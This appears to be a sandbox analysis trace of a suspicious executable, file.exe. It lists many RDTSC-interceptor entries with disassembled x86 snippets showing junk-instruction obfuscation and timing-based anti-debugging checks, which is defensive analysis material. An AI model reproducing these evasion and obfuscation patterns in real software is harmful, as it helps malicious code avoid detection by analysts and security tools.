Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79B8E0 second address: 79B8FE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jp 00007F9DB0FF9A36h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9DB0FF9A3Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79B8FE second address: 79B902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79B902 second address: 79B906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79BA7B second address: 79BAAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F9DB10DC5C3h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F9DB10DC5C3h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A0342 second address: 7A0353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A3B89 second address: 7A3B8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A3B8F second address: 7A3B97 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470411 second address: 5470417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470417 second address: 547041B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 547041B second address: 547041F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A03FE second address: 54A0404 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0404 second address: 54A040A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A040A second address: 54A040E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A040E second address: 54A0474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d mov ax, E72Dh 0x00000011 popad 0x00000012 pushfd 0x00000013 jmp 00007F9DB10DC5BAh 0x00000018 xor cl, FFFFFFC8h 0x0000001b jmp 00007F9DB10DC5BBh 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F9DB10DC5C9h 0x00000028 xchg eax, ebp 0x00000029 jmp 00007F9DB10DC5BEh 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F9DB10DC5BAh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0474 second address: 54A0483 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0483 second address: 54A0506 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 802Ah 0x00000007 pushfd 0x00000008 jmp 00007F9DB10DC5BBh 0x0000000d and si, 2CCEh 0x00000012 jmp 00007F9DB10DC5C9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ecx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F9DB10DC5BCh 0x00000023 xor si, C548h 0x00000028 jmp 00007F9DB10DC5BBh 0x0000002d popfd 0x0000002e mov ah, 24h 0x00000030 popad 0x00000031 push eax 0x00000032 jmp 00007F9DB10DC5C2h 0x00000037 xchg eax, ecx 0x00000038 jmp 00007F9DB10DC5C0h 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0506 second address: 54A050A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A050A second address: 54A0527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0527 second address: 54A0560 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c mov bx, si 0x0000000f pop esi 0x00000010 mov di, A90Ah 0x00000014 popad 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F9DB0FF9A43h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0560 second address: 54A0564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0564 second address: 54A056A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A056A second address: 54A058B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A058B second address: 54A058F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A058F second address: 54A0593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0593 second address: 54A0599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0599 second address: 54A05F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b jmp 00007F9DB10DC5BEh 0x00000010 movzx ecx, di 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 mov eax, 4EF264C9h 0x0000001b mov bx, ax 0x0000001e popad 0x0000001f nop 0x00000020 jmp 00007F9DB10DC5C0h 0x00000025 push dword ptr [ebp+08h] 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F9DB10DC5BAh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A05F2 second address: 54A05F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A05F6 second address: 54A05FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A067A second address: 54A067E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A067E second address: 54A0684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0684 second address: 54A06A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB0FF9A48h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A06A0 second address: 54A06E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, esi 0x0000000d jmp 00007F9DB10DC5C6h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9DB10DC5C7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A06E3 second address: 549001D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a pushad 0x0000000b pushad 0x0000000c call 00007F9DB0FF9A3Ah 0x00000011 pop eax 0x00000012 pushfd 0x00000013 jmp 00007F9DB0FF9A3Bh 0x00000018 sub esi, 7DA2802Eh 0x0000001e jmp 00007F9DB0FF9A49h 0x00000023 popfd 0x00000024 popad 0x00000025 mov dx, ax 0x00000028 popad 0x00000029 retn 0004h 0x0000002c nop 0x0000002d cmp eax, 00000000h 0x00000030 setne al 0x00000033 xor ebx, ebx 0x00000035 test al, 01h 0x00000037 jne 00007F9DB0FF9A37h 0x00000039 xor eax, eax 0x0000003b sub esp, 08h 0x0000003e mov dword ptr [esp], 00000000h 0x00000045 mov dword ptr [esp+04h], 00000000h 0x0000004d call 00007F9DB5FC2E73h 0x00000052 mov edi, edi 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F9DB0FF9A49h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549001D second address: 549002D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB10DC5BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549002D second address: 5490056 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9DB0FF9A45h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490056 second address: 54900BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9DB10DC5C1h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F9DB10DC5BEh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F9DB10DC5BDh 0x00000020 adc ax, A106h 0x00000025 jmp 00007F9DB10DC5C1h 0x0000002a popfd 0x0000002b mov eax, 7ADAFCB7h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54900BC second address: 54900C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54900C2 second address: 54900C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54900C6 second address: 5490130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a jmp 00007F9DB0FF9A3Bh 0x0000000f push 3B6866B1h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F9DB0FF9A40h 0x0000001d and cx, CA08h 0x00000022 jmp 00007F9DB0FF9A3Bh 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007F9DB0FF9A48h 0x0000002e add si, EC68h 0x00000033 jmp 00007F9DB0FF9A3Bh 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490130 second address: 5490135 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490135 second address: 549019D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB0FF9A45h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 4EAEF8F9h 0x00000013 pushad 0x00000014 movzx esi, di 0x00000017 pushfd 0x00000018 jmp 00007F9DB0FF9A49h 0x0000001d and eax, 0BF7DFE6h 0x00000023 jmp 00007F9DB0FF9A41h 0x00000028 popfd 0x00000029 popad 0x0000002a call 00007F9DB0FF9A39h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549019D second address: 54901A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54901A3 second address: 54901A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54901A8 second address: 54901DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9DB10DC5C2h 0x00000008 mov ah, 44h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F9DB10DC5BCh 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov dh, cl 0x0000001c mov esi, edx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54901DB second address: 54901E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54901E1 second address: 54901E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54901E5 second address: 549020A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b mov bl, E8h 0x0000000d popad 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F9DB0FF9A3Fh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549020A second address: 549022D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549022D second address: 5490234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, 6Bh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490234 second address: 549023A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549023A second address: 549023E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549023E second address: 549029C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000000h] 0x0000000e jmp 00007F9DB10DC5C9h 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ax, dx 0x0000001a pushfd 0x0000001b jmp 00007F9DB10DC5BFh 0x00000020 or si, FAAEh 0x00000025 jmp 00007F9DB10DC5C9h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549029C second address: 54902F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9DB0FF9A47h 0x00000011 sbb ecx, 2728056Eh 0x00000017 jmp 00007F9DB0FF9A49h 0x0000001c popfd 0x0000001d mov ch, DEh 0x0000001f popad 0x00000020 nop 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54902F5 second address: 54902FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54902FB second address: 549031F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 18h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549031F second address: 5490323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490323 second address: 5490329 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490329 second address: 5490428 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F9DB10DC5C6h 0x0000000b jmp 00007F9DB10DC5C5h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F9DB10DC5BCh 0x0000001c jmp 00007F9DB10DC5C5h 0x00000021 popfd 0x00000022 call 00007F9DB10DC5C0h 0x00000027 pushfd 0x00000028 jmp 00007F9DB10DC5C2h 0x0000002d add esi, 055B6598h 0x00000033 jmp 00007F9DB10DC5BBh 0x00000038 popfd 0x00000039 pop ecx 0x0000003a popad 0x0000003b push eax 0x0000003c jmp 00007F9DB10DC5C6h 0x00000041 xchg eax, ebx 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007F9DB10DC5BEh 0x00000049 adc eax, 076CE728h 0x0000004f jmp 00007F9DB10DC5BBh 0x00000054 popfd 0x00000055 movzx ecx, dx 0x00000058 popad 0x00000059 push ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d pushfd 0x0000005e jmp 00007F9DB10DC5C8h 0x00000063 xor esi, 49BBF4B8h 0x00000069 jmp 00007F9DB10DC5BBh 0x0000006e popfd 0x0000006f popad 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490428 second address: 549044C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 call 00007F9DB0FF9A3Bh 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], esi 0x00000012 pushad 0x00000013 mov dx, 2F18h 0x00000017 popad 0x00000018 xchg eax, edi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549044C second address: 5490456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 7BF98E48h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490456 second address: 54904AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9DB0FF9A3Ch 0x00000009 adc al, 00000078h 0x0000000c jmp 00007F9DB0FF9A3Bh 0x00000011 popfd 0x00000012 call 00007F9DB0FF9A48h 0x00000017 pop esi 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F9DB0FF9A47h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54904AB second address: 54904B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54904B1 second address: 54904B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54904B5 second address: 54904F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 jmp 00007F9DB10DC5C7h 0x0000000e mov eax, dword ptr [75C74538h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9DB10DC5C5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54904F1 second address: 54904F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54904F7 second address: 54904FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54904FB second address: 5490514 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [ebp-08h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9DB0FF9A3Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490514 second address: 5490562 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, 2C4BDEB1h 0x0000000e popad 0x0000000f xor eax, ebp 0x00000011 jmp 00007F9DB10DC5BDh 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F9DB10DC5C8h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490562 second address: 5490568 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490568 second address: 549058B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9DB10DC5BEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549058B second address: 5490655 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9DB0FF9A41h 0x00000009 jmp 00007F9DB0FF9A3Bh 0x0000000e popfd 0x0000000f mov edi, ecx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 nop 0x00000015 pushad 0x00000016 mov edi, esi 0x00000018 mov ecx, 7F8C0D43h 0x0000001d popad 0x0000001e lea eax, dword ptr [ebp-10h] 0x00000021 jmp 00007F9DB0FF9A46h 0x00000026 mov dword ptr fs:[00000000h], eax 0x0000002c pushad 0x0000002d mov bl, cl 0x0000002f pushfd 0x00000030 jmp 00007F9DB0FF9A43h 0x00000035 add ah, 0000004Eh 0x00000038 jmp 00007F9DB0FF9A49h 0x0000003d popfd 0x0000003e popad 0x0000003f mov dword ptr [ebp-18h], esp 0x00000042 jmp 00007F9DB0FF9A3Eh 0x00000047 mov eax, dword ptr fs:[00000018h] 0x0000004d jmp 00007F9DB0FF9A40h 0x00000052 mov ecx, dword ptr [eax+00000FDCh] 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F9DB0FF9A47h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490655 second address: 549065B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549065B second address: 549065F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 549065F second address: 5490663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490663 second address: 54906B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ecx, ecx 0x0000000a pushad 0x0000000b pushad 0x0000000c mov edi, 4BE7066Eh 0x00000011 mov eax, edx 0x00000013 popad 0x00000014 pushfd 0x00000015 jmp 00007F9DB0FF9A3Bh 0x0000001a adc ch, 0000001Eh 0x0000001d jmp 00007F9DB0FF9A49h 0x00000022 popfd 0x00000023 popad 0x00000024 jns 00007F9DB0FF9A69h 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F9DB0FF9A3Dh 0x00000031 rdtsc
